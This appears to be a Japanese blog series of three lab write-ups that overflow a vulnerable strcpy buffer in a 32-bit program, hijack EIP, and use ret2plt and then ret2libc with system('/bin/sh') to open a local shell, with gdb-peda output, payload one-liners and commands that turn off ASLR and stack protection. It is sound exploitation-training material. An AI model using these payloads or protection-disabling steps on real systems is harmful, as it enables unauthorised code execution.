ret2libcをやってみる

ret2pltで関数を実行してみる - メモ代わりでret2pltを使って遊んでみた。
printfでメモリをリークさせるみたいになったのでCTFで出てこないわけでもなさそうだが、どうせならシェルを開きたいものである。
というわけで今回はret2libcでシェルを起動してみる。

ret2libcとは

ret2pltではpltに存在しない関数を呼び出すことはできない。
そこで考えだされたのがlibcにある関数を呼び出す方法『ret2libc』だ。
実行時にlibcが動的にリンクされるのでASLRの影響を受けてしまうが今回は前回、前々回同様にASLRはOFFにしているのでうまくいくだろう。
実際にシェルを開くところまでやってみよう。

必要な情報を集める

ret2libcも呼び出し先がpltからlibcに変わっただけで要領はあまり変わらない。
まずはgdbで開いてstartコマンドを使ってmainの先頭まで走らせよう。

gdb-peda$ start

次にsystem関数がどこにあるか探さなければならないが、これは下記のコマンドで出力できる。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e4a190 <system>

systemありますねぇ!
ついでにこのsystemがどこにあるか見てみよう。
vmmapコマンドでメモリのレイアウトがわかるので使ってみる。

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/tmp/a.out
0x08049000 0x0804a000 r--p	/tmp/a.out
0x0804a000 0x0804b000 rw-p	/tmp/a.out
0xf7e09000 0xf7e0a000 rw-p	mapped
0xf7e0a000 0xf7fb2000 r-xp	/lib/i386-linux-gnu/libc-2.19.so
0xf7fb2000 0xf7fb4000 r--p	/lib/i386-linux-gnu/libc-2.19.so
0xf7fb4000 0xf7fb5000 rw-p	/lib/i386-linux-gnu/libc-2.19.so
0xf7fb5000 0xf7fb8000 rw-p	mapped
0xf7fd6000 0xf7fd8000 rw-p	mapped
0xf7fd8000 0xf7fda000 r--p	[vvar]
0xf7fda000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.19.so
0xfffdd000 0xffffe000 rw-p	[stack]

これを見ればsystem関数のアドレスである"0xf7e4a190"は"/lib/i386-linux-gnu/libc-2.19.so"にありlibcを読んでいることがハッキリわかるはずだ。
次にsystem関数の引数を探したい。
とりあえずシェルを開ければいいのでそれっぽい文字列を探してみる。

gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f6aa24 ("/bin/sh")

ありました。
ここまでのおさらいをすると

  • 22文字以降の文字列がEIPにセットされる
  • system関数のアドレスは"0xf7e4a190"
  • "/bin/shの文字列"は"0xf7f6aa24"にある

では実行してみよう。

実行してみる

実際のコードはこちら

print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"

ほぼpltの時と一緒だね。
実行してみる。

$ ./a.out $(python -c 'print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"')
AAAAAAAAAAAAAAAAAAAAAA����BBBB$��
$ 

シェルが起動した、やったぜ。

おわりに

ret2pltとあまり変わらないけどシェルを呼べて素晴らしいと思った。

ret2pltで関数を実行してみる

簡単なバッファオーバーフローでEIPを奪う - メモ代わりのプログラムでret2pltをしてみる。
環境は前回と同じ。

ret2pltとは

ret2pltの前にそもそもpltとは何かというと共有ライブラリのアドレスを書くところだ。
詳しくは下記リンクを参照。
ELFの動的リンク(1) - 七誌の開発日記
ret2pltとはEIPに任意のアドレスを書き込めるようになった時、pltにある関数のアドレスを書いたら関数を実行できることを活かしたテクニックのことだ。
実際にやってみよう。

どうすればうまくいくか調べてみる

とりあえずpltに何のアドレスがあるかgdb-pedaで見てみよう。

gdb-peda$ plt
Breakpoint 1 at 0x8048380 (__gmon_start__@plt)
Breakpoint 2 at 0x80483a0 (__libc_start_main@plt)
Breakpoint 3 at 0x8048390 (exit@plt)
Breakpoint 4 at 0x8048350 (printf@plt)
Breakpoint 5 at 0x8048370 (puts@plt)
Breakpoint 6 at 0x8048360 (strcpy@plt)

printfのアドレスがある。
攻撃した時に目で見てわかりやすいのでprintfを使おう。
次にprintfで使う引数に適切なものはどこにあるか見てみよう。

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080484ad <+0>:	push   ebp
   0x080484ae <+1>:	mov    ebp,esp
   0x080484b0 <+3>:	and    esp,0xfffffff0
   0x080484b3 <+6>:	sub    esp,0x20
   0x080484b6 <+9>:	cmp    DWORD PTR [ebp+0x8],0x2
   0x080484ba <+13>:	je     0x80484dd <main+48>
   0x080484bc <+15>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484bf <+18>:	mov    eax,DWORD PTR [eax]
   0x080484c1 <+20>:	mov    DWORD PTR [esp+0x4],eax
   0x080484c5 <+24>:	mov    DWORD PTR [esp],0x80485a0
   0x080484cc <+31>:	call   0x8048350 <printf@plt>
   0x080484d1 <+36>:	mov    DWORD PTR [esp],0x1
   0x080484d8 <+43>:	call   0x8048390 <exit@plt>
   0x080484dd <+48>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484e0 <+51>:	add    eax,0x4
   0x080484e3 <+54>:	mov    eax,DWORD PTR [eax]
   0x080484e5 <+56>:	mov    DWORD PTR [esp+0x4],eax
   0x080484e9 <+60>:	lea    eax,[esp+0x16]
   0x080484ed <+64>:	mov    DWORD PTR [esp],eax
   0x080484f0 <+67>:	call   0x8048360 <strcpy@plt>
   0x080484f5 <+72>:	lea    eax,[esp+0x16]
   0x080484f9 <+76>:	mov    DWORD PTR [esp],eax
   0x080484fc <+79>:	call   0x8048370 <puts@plt>
   0x08048501 <+84>:	mov    eax,0x0
   0x08048506 <+89>:	leave  
   0x08048507 <+90>:	ret    
End of assembler dump.

printfが呼ばれているところに注目すると文字列の引数っぽいものがある。

   0x080484c5 <+24>:	mov    DWORD PTR [esp],0x80485a0
   0x080484cc <+31>:	call   0x8048350 <printf@plt>

中身を確認してみよう。

gdb-peda$ x/s 0x80485a0
0x80485a0:	"Usage: %s name\n"

うわあ・・・、これは文字列ですね。
しかもコレは引数なしで実行した時しか出てこない文字列なのでテストにぴったり、使ってみよう。
前回も含めてここまでのおさらいをすると

  • 22文字以降の文字列がEIPにセットされる
  • printf@pltのアドレスは0x8048350
  • printfの引数として渡したいアドレスは0x80485a0

では実際に攻撃してみよう。

実行してみる

実際のコードはこちら。

print "A"*22 + "\x50\x83\x04\x08" + "BBBB" + "\xa0\x85\x04\x08"

まず最初に22回"A"を出力する。
次にprintf@pltのアドレスをEIPに入れるために出力する(リトルエンディアンなので逆順で書いた)
次の"BBBB"だがコレには訳がある。
関数を呼び出すときはその関数終了後のリターンアドレスをスタックに積んで置かなければならない。
関数実行時はそれを想定して処理をするので仮のリターンアドレスとして"BBBB"を積み実行時に計算が狂うことがないようにしているのだ。
そして最後に引数として文字列のアドレスを出力している。
実行してみよう。

$ ./a.out $(python -c 'print "A"*22 + "\x50\x83\x04\x08" + "BBBB" + "\xa0\x85\x04\x08"')
AAAAAAAAAAAAAAAAAAAAAAP�BBBB��
Usage: �������������������L���`���p��������������������������� ���Z���n�����������&���Z�����������������=���R���i���z���������������������������
                                                                  ������w��������������%���:���S���g������������������� name
Segmentation fault

みたいになったと思う。
nameをprintfで出力したあと"Usage: ~~~~~"が出力されている、うまくいった。
"Usage: "以降に出力されているのは

gdb-peda$ x/s 0x80485a0
0x80485a0:	"Usage: %s name\n"

の"%s"で引数を置いてなかったためnameにあたるまで出力したからだと思う。
というわけでret2plt終わり!閉廷!

おわりに

今回はret2pltをやってみた。
今度はもっと高度なことをやってみようと思う。

簡単なバッファオーバーフローでEIPを奪う

EIPを奪うところまでやってみる。

環境
$ uname -a
Linux backbox 3.19.0-56-generic #62~14.04.1-Ubuntu SMP Fri Mar 11 11:03:15 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.1) 4.8.4

gdbはpeda入れて使う。

ASLRをOFF OFF

今回は簡単にやるという方針なのでASLRを切る。
ASLRとはプログラムを実行する際に使用するメモリのアドレスをランダム化する機能で、これにより攻撃者はメモリアドレスの推測が難しくなる。
要はどこに何があるのかわからない状態で攻撃するなんて難しいよねと言った話だ。

 $ sudo sysctl -w kernel.randomize_va_space=0

このコマンドを入力するとASLRがオフになる。
終わったら危ないので元に戻そう。

脆弱なプログラムで遊ぶ


コマンドライン引数を受け取ってそれをnameに入れ表示するプログラムだ。
問題は引数に入れる文字列を検査していないこと。
nameはchar 10個分の大きさしかないがそれを超えてコピーできてしまう。
早速10以上の値を与えてどうなるか見てみよう。
と、その前にコンパイルをしなければならないけどStack Smash Protectionという保護機能も切りたいのでコンパイル時にそのオプション"-fno-stack-protector"を付けよう。

$ gcc -m32 -fno-stack-protector geteip.c

これでコンパイルできたはずだ。
64bit環境でコンパイルすると32bit向けのライブラリを入れないとうまくいかないなんて事があるので、その時はエラー文でググろう。
では作ったバイナリをgdbで中身を見てみよう。

$ gdb a.out 
Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080484ad <+0>:	push   ebp
   0x080484ae <+1>:	mov    ebp,esp
   0x080484b0 <+3>:	and    esp,0xfffffff0
   0x080484b3 <+6>:	sub    esp,0x20
   0x080484b6 <+9>:	cmp    DWORD PTR [ebp+0x8],0x2
   0x080484ba <+13>:	je     0x80484dd <main+48>
   0x080484bc <+15>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484bf <+18>:	mov    eax,DWORD PTR [eax]
   0x080484c1 <+20>:	mov    DWORD PTR [esp+0x4],eax
   0x080484c5 <+24>:	mov    DWORD PTR [esp],0x80485a0
   0x080484cc <+31>:	call   0x8048350 <printf@plt>
   0x080484d1 <+36>:	mov    DWORD PTR [esp],0x1
   0x080484d8 <+43>:	call   0x8048390 <exit@plt>
   0x080484dd <+48>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484e0 <+51>:	add    eax,0x4
   0x080484e3 <+54>:	mov    eax,DWORD PTR [eax]
   0x080484e5 <+56>:	mov    DWORD PTR [esp+0x4],eax
   0x080484e9 <+60>:	lea    eax,[esp+0x16]
   0x080484ed <+64>:	mov    DWORD PTR [esp],eax
   0x080484f0 <+67>:	call   0x8048360 <strcpy@plt>
   0x080484f5 <+72>:	lea    eax,[esp+0x16]
   0x080484f9 <+76>:	mov    DWORD PTR [esp],eax
   0x080484fc <+79>:	call   0x8048370 <puts@plt>
   0x08048501 <+84>:	mov    eax,0x0
   0x08048506 <+89>:	leave  
   0x08048507 <+90>:	ret    
End of assembler dump.

ん、そうですねって感じ。
とりあえずパターン作って投げてみよう。

gdb-peda$ pattern_arg 200
Set 1 arguments to program
gdb-peda$ r
Starting program: /tmp/a.out 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA'
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA

Program received signal SIGSEGV, Segmentation fault.

落ちたな。
レジスタの中身を見てみよう。
瞬き禁止でご注目。

gdb-peda$ xinfo register 
EAX: 0x0 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0xf7fd5000 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...)
EDX: 0xf7fb5898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x2d414143 ('CAA-')
ESP: 0xffffd1c0 ("ADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
EIP: 0x41284141 ('AA(A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

EIPの値が変わっている。
ここでEIPが拾いにいったアドレスとオーバーフローを起こしたアドレスがどのくらい離れているか見てみる。

gdb-peda$ pattern offset 0x41284141
1093157185 found at offset: 22

どうやら22バイト離れているようだ。
22バイト適当に埋めてその先にアドレスを書けばEIP奪えるみたいなので試しに0xdeadbeefが入るかテストしてみる。

gdb-peda$ set args $(python -c 'print "A"*22 + "\xef\xbe\xad\xde"')
gdb-peda$ r
Starting program: /tmp/a.out $(python -c 'print "A"*22 + "\xef\xbe\xad\xde"')
AAAAAAAAAAAAAAAAAAAAAAᆳ

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0xf7fd5000 ('A' <repeats 22 times>, "ᆳ\336\n")
EDX: 0xf7fb5898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd270 --> 0x0 
EIP: 0xdeadbeef
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef

EIPの値が0xdeadbeefになっている、うまくいったようだ。

まとめ

今回はEIPの値を書き換えるところまでやった。
本当はもっと先のこととか書いたほうが良さそうだけど、それはまた今度。
使っていて思ったんだけどpeda便利すぎでしょコレ